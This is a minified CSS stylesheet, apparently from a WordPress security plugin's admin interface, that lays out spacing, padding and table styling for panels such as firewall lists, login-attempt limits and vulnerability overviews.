.rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-firewall_event_log_viewer .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap,.rsssl-mixed-content-scan .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap{margin-right:calc(-1 * var(--rsp-spacing-l));margin-left:calc(-1 * var(--rsp-spacing-l))}@media(max-width:1280px){.rsssl-vulnerabilities_measures .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-firewall_event_log_viewer .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap,.rsssl-mixed-content-scan .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap{margin-right:calc(-1 * var(--rsp-spacing-m));margin-left:calc(-1 * var(--rsp-spacing-m))}}@media(max-width:1080px){.rsssl-vulnerabilities_measures .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-firewall_event_log_viewer .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap,.rsssl-mixed-content-scan .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap{margin-right:calc(-1 * var(--rsp-spacing-s));margin-left:calc(-1 * var(--rsp-spacing-s))}}.rsssl-vulnerabilities_measures .rsssl-field-wrap>.components-base-control,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-comment,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-progress-container,.rsssl-vulnerabilities_measures .rsssl-field-wrap>div>button,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-404_blocking .rsssl-field-wrap>.components-base-control,.rsssl-404_blocking .rsssl-field-wrap .rsssl-comment,.rsssl-404_blocking .rsssl-field-wrap .rsssl-progress-container,.rsssl-404_blocking .rsssl-field-wrap>div>button,.rsssl-404_blocking .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-404_blocking .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-404_blocking .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-user_agents .rsssl-field-wrap>.components-base-control,.rsssl-user_agents .rsssl-field-wrap .rsssl-comment,.rsssl-user_agents .rsssl-field-wrap .rsssl-progress-container,.rsssl-user_agents .rsssl-field-wrap>div>button,.rsssl-user_agents .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-user_agents .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-user_agents .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_logs .rsssl-field-wrap>.components-base-control,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_logs .rsssl-field-wrap>div>button,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-permissions_policy .rsssl-field-wrap>.components-base-control,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-comment,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-progress-container,.rsssl-permissions_policy .rsssl-field-wrap>div>button,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-two_fa_users .rsssl-field-wrap>.components-base-control,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-comment,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-progress-container,.rsssl-two_fa_users .rsssl-field-wrap>div>button,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap>.components-base-control,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-comment,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-progress-container,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap>div>button,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-content_security_policy_source_directives .rsssl-field-wrap>.components-base-control,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-comment,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-progress-container,.rsssl-content_security_policy_source_directives .rsssl-field-wrap>div>button,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_white_list_listing .rsssl-field-wrap>.components-base-control,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_white_list_listing .rsssl-field-wrap>div>button,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_block_list_listing .rsssl-field-wrap>.components-base-control,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_block_list_listing .rsssl-field-wrap>div>button,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_list_listing .rsssl-field-wrap>.components-base-control,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_list_listing .rsssl-field-wrap>div>button,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-vulnerabilities_overview .rsssl-field-wrap>.components-base-control,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-comment,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-progress-container,.rsssl-vulnerabilities_overview .rsssl-field-wrap>div>button,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_country .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_country .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_users .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_users .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_event_log_viewer .rsssl-field-wrap>.components-base-control,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_event_log_viewer .rsssl-field-wrap>div>button,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_logs_content .rsssl-field-wrap>.components-base-control,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_logs_content .rsssl-field-wrap>div>button,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-mixed-content-scan .rsssl-field-wrap>.components-base-control,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-comment,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-progress-container,.rsssl-mixed-content-scan .rsssl-field-wrap>div>button,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-content_security_policy .rsssl-field-wrap>.components-base-control,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-comment,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-progress-container,.rsssl-content_security_policy .rsssl-field-wrap>div>button,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-hardening-xml .rsssl-field-wrap>.components-base-control,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-comment,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-progress-container,.rsssl-hardening-xml .rsssl-field-wrap>div>button,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-current-scan-action{margin-right:var(--rsp-spacing-l);margin-left:var(--rsp-spacing-l)}.rsssl-vulnerabilities_measures .rdt_TableCell:first-child,.rsssl-vulnerabilities_measures .rdt_TableCol:first-child,.rsssl-404_blocking .rdt_TableCell:first-child,.rsssl-404_blocking .rdt_TableCol:first-child,.rsssl-user_agents .rdt_TableCell:first-child,.rsssl-user_agents .rdt_TableCol:first-child,.rsssl-firewall_logs .rdt_TableCell:first-child,.rsssl-firewall_logs .rdt_TableCol:first-child,.rsssl-permissions_policy .rdt_TableCell:first-child,.rsssl-permissions_policy .rdt_TableCol:first-child,.rsssl-two_fa_users .rdt_TableCell:first-child,.rsssl-two_fa_users .rdt_TableCol:first-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCol:first-child,.rsssl-content_security_policy_source_directives .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rdt_TableCol:first-child,.rsssl-firewall_white_list_listing .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rdt_TableCol:first-child,.rsssl-firewall_block_list_listing .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rdt_TableCol:first-child,.rsssl-firewall_list_listing .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rdt_TableCol:first-child,.rsssl-vulnerabilities_overview .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rdt_TableCol:first-child,.rsssl-limit_login_attempts_country .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rdt_TableCol:first-child,.rsssl-limit_login_attempts_users .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rdt_TableCol:first-child,.rsssl-firewall_event_log_viewer .rdt_TableCell:first-child,.rsssl-firewall_event_log_viewer .rdt_TableCol:first-child,.rsssl-firewall_logs_content .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rdt_TableCol:first-child,.rsssl-limit_login_attempts_event_log .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rdt_TableCol:first-child,.rsssl-mixed-content-scan .rdt_TableCell:first-child,.rsssl-mixed-content-scan .rdt_TableCol:first-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCol:first-child,.rsssl-content_security_policy .rdt_TableCell:first-child,.rsssl-content_security_policy .rdt_TableCol:first-child,.rsssl-hardening-xml .rdt_TableCell:first-child,.rsssl-hardening-xml .rdt_TableCol:first-child{padding-right:var(--rsp-spacing-l);padding-left:var(--rsp-spacing-l)}.rsssl-vulnerabilities_measures .rdt_TableCell:last-child,.rsssl-vulnerabilities_measures .rdt_TableCol:last-child,.rsssl-404_blocking .rdt_TableCell:last-child,.rsssl-404_blocking .rdt_TableCol:last-child,.rsssl-user_agents .rdt_TableCell:last-child,.rsssl-user_agents .rdt_TableCol:last-child,.rsssl-firewall_logs .rdt_TableCell:last-child,.rsssl-firewall_logs .rdt_TableCol:last-child,.rsssl-permissions_policy .rdt_TableCell:last-child,.rsssl-permissions_policy .rdt_TableCol:last-child,.rsssl-two_fa_users .rdt_TableCell:last-child,.rsssl-two_fa_users .rdt_TableCol:last-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCol:last-child,.rsssl-content_security_policy_source_directives .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rdt_TableCol:last-child,.rsssl-firewall_white_list_listing .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rdt_TableCol:last-child,.rsssl-firewall_block_list_listing .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rdt_TableCol:last-child,.rsssl-firewall_list_listing .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rdt_TableCol:last-child,.rsssl-vulnerabilities_overview .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rdt_TableCol:last-child,.rsssl-limit_login_attempts_country .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rdt_TableCol:last-child,.rsssl-limit_login_attempts_users .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rdt_TableCol:last-child,.rsssl-firewall_event_log_viewer .rdt_TableCell:last-child,.rsssl-firewall_event_log_viewer .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rdt_TableCol:last-child,.rsssl-limit_login_attempts_event_log .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rdt_TableCol:last-child,.rsssl-mixed-content-scan .rdt_TableCell:last-child,.rsssl-mixed-content-scan .rdt_TableCol:last-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCol:last-child,.rsssl-content_security_policy .rdt_TableCell:last-child,.rsssl-content_security_policy .rdt_TableCol:last-child,.rsssl-hardening-xml .rdt_TableCell:last-child,.rsssl-hardening-xml .rdt_TableCol:last-child{padding-left:var(--rsp-spacing-l)}.rsssl-content_security_policy .rdt_TableCell,.rsssl-content_security_policy .rdt_TableCol,.rsssl-permissions_policy .rdt_TableCell,.rsssl-permissions_policy .rdt_TableCol,.rsssl-firewall_list_listing .rdt_TableCell,.rsssl-firewall_list_listing .rdt_TableCol,.rsssl-user_agents .rdt_TableCell,.rsssl-user_agents .rdt_TableCol,.rsssl-404_blocking .rdt_TableCell,.rsssl-404_blocking .rdt_TableCol,.rsssl-firewall_white_list_listing .rdt_TableCell,.rsssl-firewall_white_list_listing .rdt_TableCol,.rsssl-firewall_block_list_listing .rdt_TableCell,.rsssl-firewall_block_list_listing .rdt_TableCol,.rsssl-hardening-xml .rdt_TableCell,.rsssl-hardening-xml .rdt_TableCol,.rsssl-vulnerabilities_overview .rdt_TableCell,.rsssl-vulnerabilities_overview .rdt_TableCol,.rsssl-content_security_policy_source_directives .rdt_TableCell,.rsssl-content_security_policy_source_directives .rdt_TableCol,.rsssl-vulnerabilities-measures-overview .rdt_TableCell,.rsssl-vulnerabilities-measures-overview .rdt_TableCol,.rsssl-limit_login_attempts_ip_address .rdt_TableCell,.rsssl-limit_login_attempts_ip_address .rdt_TableCol,.rsssl-limit_login_attempts_users .rdt_TableCell,.rsssl-limit_login_attempts_users .rdt_TableCol,.rsssl-limit_login_attempts_country .rdt_TableCell,.rsssl-limit_login_attempts_country .rdt_TableCol,.rsssl-two_fa_users .rdt_TableCell,.rsssl-two_fa_users .rdt_TableCol,.rsssl-firewall_logs .rdt_TableCell,.rsssl-firewall_logs .rdt_TableCol,.rsssl-firewall_logs_content .rdt_TableCell,.rsssl-firewall_logs_content .rdt_TableCol,.rsssl-limit_login_attempts_event_log .rdt_TableCell,.rsssl-limit_login_attempts_event_log .rdt_TableCol{min-width:initial}.rsssl-content_security_policy .rdt_Pagination,.rsssl-permissions_policy .rdt_Pagination,.rsssl-firewall_list_listing .rdt_Pagination,.rsssl-user_agents .rdt_Pagination,.rsssl-404_blocking .rdt_Pagination,.rsssl-firewall_white_list_listing .rdt_Pagination,.rsssl-firewall_block_list_listing .rdt_Pagination,.rsssl-hardening-xml .rdt_Pagination,.rsssl-vulnerabilities_overview .rdt_Pagination,.rsssl-content_security_policy_source_directives .rdt_Pagination,.rsssl-vulnerabilities-measures-overview .rdt_Pagination,.rsssl-limit_login_attempts_ip_address .rdt_Pagination,.rsssl-limit_login_attempts_users .rdt_Pagination,.rsssl-limit_login_attempts_country .rdt_Pagination,.rsssl-two_fa_users .rdt_Pagination,.rsssl-firewall_logs .rdt_Pagination,.rsssl-firewall_logs_content .rdt_Pagination,.rsssl-limit_login_attempts_event_log .rdt_Pagination{margin-top:0;padding:0 25px}.rsssl-content_security_policy .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-permissions_policy .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_list_listing .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-user_agents .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-404_blocking .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_white_list_listing .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_block_list_listing .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-hardening-xml .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-vulnerabilities_overview .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-content_security_policy_source_directives .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-vulnerabilities-measures-overview .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_ip_address .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_users .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_country .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-two_fa_users .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_logs .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_logs_content .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_event_log .rdt_tableCell:has(div>.rsssl-action-buttons){position:relative}.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap{padding:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:1}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow{border:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_Pagination,.rsssl-permissions_policy .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_Pagination,.rsssl-user_agents .rsssl-field-wrap .rdt_Pagination,.rsssl-404_blocking .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_Pagination,.rsssl-hardening-xml .rsssl-field-wrap .rdt_Pagination,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_Pagination,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_Pagination,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_Pagination,.rsssl-two_fa_users .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_logs .rsssl-field-wrap .rdt_Pagination,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_Pagination,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_Pagination{border:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_country 